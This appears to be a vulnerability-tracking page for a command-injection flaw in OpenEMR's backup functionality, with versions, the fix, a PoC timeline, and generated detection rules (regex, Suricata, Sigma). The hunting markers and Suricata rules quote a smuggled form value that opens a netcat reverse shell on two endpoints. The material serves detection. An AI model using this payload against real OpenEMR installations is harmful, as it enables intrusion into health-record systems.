OpenEMR
OpenEMR has Remote Code Execution in backup functionality
OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.2 contain a Command injection vulnerability in the backup functionality that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the backup functionality. Version 8.0.0.2 fixes the issue.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 8.0.0.2
Fixed in 8.0.0.2
Mitigation
Upgrade openemr to 8.0.0.2 or later.
References
Timeline
Days relative to CVE publicationFirst public PoC 36 days before publication; not in CISA KEV. First PoC: ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0 (created 11 Feb 2026, found by us: backfilled).
PoC repositories
Found on GitHub.1 PoCs
PoCs 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0 | 11 Feb 2026 −36 d | 0 | PoC via PoC Index
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
PoC characteristics
What to hunt for in your logs · from 1 PoC repoPOST /interface/main/backup.php
- Key headers
Cookie: OpenEMR=de5348462330a02590ba31c91b2df758- Body markers
csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735cform_step=102form_cb_addlists=1form_sel_lists[]=userlist1form_sel_lists[]=userlist2form_sel_lists[]=userlist3form_sel_lists[]=LA28397-0form_sel_layouts[]=LBF"';nc 172.18.0.1 21 -e sh #inapplication/x-www-form-urlencoded- Seen in
- 1 repo: ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0
- Evidence
- ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0/README.md:133
POST /interface/super/edit_layout.php
- Key headers
Cookie: OpenEMR=de5348462330a02590ba31c91b2df758- Body markers
csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735cformaction=addgroupnewgroupname=1newgroupparent=1layout_id=LBF"';nc 172.18.0.1 21 -e sh #inapplication/x-www-form-urlencoded- Seen in
- 1 repo: ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0
- Evidence
- ChrisSub08/CVE-2026-32238_RemoteCodeExecutionOpenEMR8.0.0/README.md:130
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/interface/main/backup\.php(?:[?#].*)?$
(?i)^/interface/super/edit_layout\.php(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-32238 openemr openemr exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/interface/main/backup.php"; http.header; content:"Cookie: OpenEMR=de5348462330a02590ba31c91b2df758"; nocase; http.request_body; content:"csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c"; http.request_body; content:"form_step=102"; http.request_body; content:"form_cb_addlists=1"; http.request_body; content:"form_sel_lists[]=userlist1"; http.request_body; content:"form_sel_lists[]=userlist2"; http.request_body; content:"form_sel_lists[]=userlist3"; http.request_body; content:"form_sel_lists[]=LA28397-0"; http.request_body; content:"form_sel_layouts[]=LBF|22|'|3b|nc 172.18.0.1 21 -e sh #"; reference:url,poc.griffinguard.io/cve/CVE-2026-32238; classtype:web-application-attack; sid:9714756; rev:1;)
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-32238 openemr openemr exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/interface/super/edit_layout.php"; http.header; content:"Cookie: OpenEMR=de5348462330a02590ba31c91b2df758"; nocase; http.request_body; content:"csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c"; http.request_body; content:"formaction=addgroup"; http.request_body; content:"newgroupname=1"; http.request_body; content:"newgroupparent=1"; http.request_body; content:"layout_id=LBF|22|'|3b|nc 172.18.0.1 21 -e sh #"; reference:url,poc.griffinguard.io/cve/CVE-2026-32238; classtype:web-application-attack; sid:9625095; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: openemr openemr exploit attempt (CVE-2026-32238)
id: gg-pocmon-cve-2026-32238-9714756
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-32238. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-32238
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/interface/main/backup.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.32238
title: openemr openemr exploit attempt (CVE-2026-32238)
id: gg-pocmon-cve-2026-32238-9625095
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-32238. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-32238
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/interface/super/edit_layout.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: critical
tags:
- attack.initial_access
- attack.t1190
- cve.2026.32238